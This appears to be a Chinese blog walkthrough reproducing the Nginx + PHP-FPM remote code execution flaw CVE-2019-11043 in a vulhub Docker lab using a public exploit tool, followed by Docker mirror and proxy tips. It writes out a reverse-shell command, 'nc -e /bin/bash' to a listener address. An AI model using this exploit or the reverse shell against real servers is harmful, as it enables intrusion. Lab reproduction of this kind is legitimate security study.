php 远程代码执行漏洞复现 cve-2019-11043

矫情吗；* 2021-09-03 06:40 733阅读 0赞

# 漏洞描述 #

CVE-2019-11043 是一个远程代码执行漏洞，使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞，可允许攻击者远程执行代码。

向Nginx + PHP-FPM的服务器 URL发送 %0a 时，服务器返回异常。

该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下：

location ~ [^/]\.php(/|$) {
     ...
     fastcgi_split_path_info ^(.+?\.php)(/.*)$;
     fastcgi_param PATH_INFO $fastcgi_path_info;
     fastcgi_pass   php:9000;
     ...
    }

攻击者可以使用换行符（％0a）来破坏`fastcgi_split_path_info`指令中的Regexp。 Regexp被损坏导致PATH\_INFO为空，从而触发该漏洞。

# 影响范围 #

在 Nginx + PHP-FPM 环境下，当启用了上述 Nginx 配置后，以下 PHP 版本受本次漏洞影响，另外，PHP 5.6版本也受此漏洞影响，但目前只能 Crash，不可以远程代码执行：

*  PHP 7.0 版本
 *  PHP 7.1 版本
 *  PHP 7.2 版本
 *  PHP 7.3 版本

# 漏洞复现 #

使用 p 牛的 docker 环境进行复现：

[PHP-FPM 远程代码执行漏洞（CVE-2019-11043）][PHP-FPM _CVE-2019-11043]

## 准备工作：安装 docker、golang 环境 ##

1.  `sudo apt-get install docker docker-compose`
2.  `sudo apt install golang`

## 搭建漏洞环境 ##

1.  `git clone https://github.com/vulhub/vulhub.git`
2.  `cd vulhub/php/CVE-2019-11043 && docker-compose up -d`

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70][]

启动环境之后，就可以看到漏洞环境的默认页面。在此为 [http://127.0.0.1:8080/index.php][http_127.0.0.1_8080_index.php]。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 1][]

## 安装漏洞利用工具 ##

1.  `git clone https://github.com/neex/phuip-fpizdam.git`
2.  `cd phuip-fpizdam`
3.  `go get -v && go build`

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 2][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 3][]

## 漏洞利用 ##

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 4][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 5][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 6][]

url 中空格不影响命令执行：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 7][]

> p 牛友情提示：您应该注意，只有部分PHP-FPM子进程受到了污染，因此请尝试几次以执行该命令。

**反弹 shell:**

因为我用的是P牛的环境，里面没有 nc 命令。所以不能用 nc 的反弹 shell。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 8][]

给此docer容器装一个 nc：

p牛的环境有两个 docker 镜像，一个是nginx，一个是 php:

![20201220223413442.jpg][]

进入 nginx 的容器：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 9][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 10][]

![20201220223458716.jpg][]

如图就装好了。

`exit` 此容器。尝试在url里面 nc 我本地监听的端口：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 11][]

没有成功。

但是继续观察，可能是镜像不对。因为p牛封装的这个环境有两个 docker，刚刚都是在 nginx docker 镜像里面尝试的：

![20201220223544796.jpg][]

试试在php镜像里面装nc。毕竟、

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 12][]

换镜像装 nc：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 13][]

![20201220223657947.jpg][]

![20201220223705626.jpg][]

然后 nc 连接成功：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 14][]

试下反弹 shell:

1.  `nc -e /bin/bash 10.x.x.39 7777`

反弹 shell 成功！

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 15][]

## 科学提速 ##

这个环境我下了很久没下下来，我之前一直在国外，对一些换源、换镜像不熟悉。

*  **方法一：阿里云容器镜像加速器**

URL： [https://cr.console.aliyun.com/cn-hangzhou/instances/mirrors][https_cr.console.aliyun.com_cn-hangzhou_instances_mirrors]

进去之后获取：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 16][]

然后配置 docker 文件：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 17][]

`注`：上面的是阿里云，下面的是中科院。阿里云的更快，只用阿里云就行了。

然后 restart 一下 docker：

1.  `sudo systemctl daemon-reload`
2.  `sudo systemctl restart docker`

然后就可以了！

参考链接：

\[1\] [镜像中心-镜像加速器][https_cr.console.aliyun.com_cn-hangzhou_instances_mirrors]  
\[2\] [官方镜像加速 操作手册][Link 1]

重启 docker 之后，速度仿佛换了个 docker，很爽。

*  **方法二：系统代理**

基于 http 协议的：

需要凭据：

1.  `export http_proxy="http://用户名:密码@ip:端口号/"`
2.  `export https_proxy="http://用户名:密码@ip:端口号/"`

无需凭据：

1.  `export http_proxy="http://ip:端口号/"`
2.  `export https_proxy="http://ip:端口号/"`

注意：这种命令行运行是临时的，要全局的话加入到 `etc/profile`。

基于 socks5 协议：

proxychains

[PHP-FPM _CVE-2019-11043]: https://github.com/vulhub/vulhub/blob/master/php/CVE-2019-11043/README.zh-cn.md
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70]: /images/20210728/aca1b3b6b7b244959012fe3cc62ad088.png
[http_127.0.0.1_8080_index.php]: http://127.0.0.1:8080/index.php
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 1]: /images/20210728/2ea9fddc57054ba9b80aa33ce4aa87b2.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 2]: /images/20210728/e121b0b9ac6a424f903201754d01c6da.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 3]: /images/20210728/2c478abd20db4bb68ab26d13c645e11a.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 4]: /images/20210728/0a87a4a3ceeb486cbdca07ac19266390.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 5]: /images/20210728/fdc89c06924843c5a70df75bec6719d7.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 6]: /images/20210728/1b65fc2b82944c068b3cfb02416c62ef.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 7]: /images/20210728/90dd9f5b81074ffb954547b2853a4c01.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 8]: /images/20210728/4e20082372bf4f749f3912dfb9c10371.png
[20201220223413442.jpg]: /images/20210728/3af32ac76558469eb22028959585048c.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 9]: /images/20210728/63fcc863f5154e5ea00886557761ea8f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 10]: /images/20210728/769480f40d364bb28323bc12c130eb11.png
[20201220223458716.jpg]: /images/20210728/140e5881b4ec4c4797bcc4e44b9ca643.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 11]: /images/20210728/bd87dec17ec34cef86cd47fbe8aae634.png
[20201220223544796.jpg]: /images/20210728/2602cc302c7d4e098e505a29b5ef686d.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 12]: /images/20210728/658002f81234473fb8f47500161520cf.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 13]: /images/20210728/5de743a43a244e3f81d2cfdbb3156484.png
[20201220223657947.jpg]: /images/20210728/b778e65866c04d65936b23c83a0dbd02.png
[20201220223705626.jpg]: /images/20210728/f7172f5d20404c1491a8a199abafcb74.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 14]: /images/20210728/c8903088ca3244ca9aa02910587b8322.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 15]: /images/20210728/1be6a110185142b1a9c4426c564019e3.png
[https_cr.console.aliyun.com_cn-hangzhou_instances_mirrors]: https://cr.console.aliyun.com/cn-hangzhou/instances/mirrors
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 16]: /images/20210728/76fc7c42cfd34e35ad9a2961321a0720.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 17]: /images/20210728/572dabfb54f64d7da25bd39a74056229.png
[Link 1]: https://help.aliyun.com/document_detail/60750.html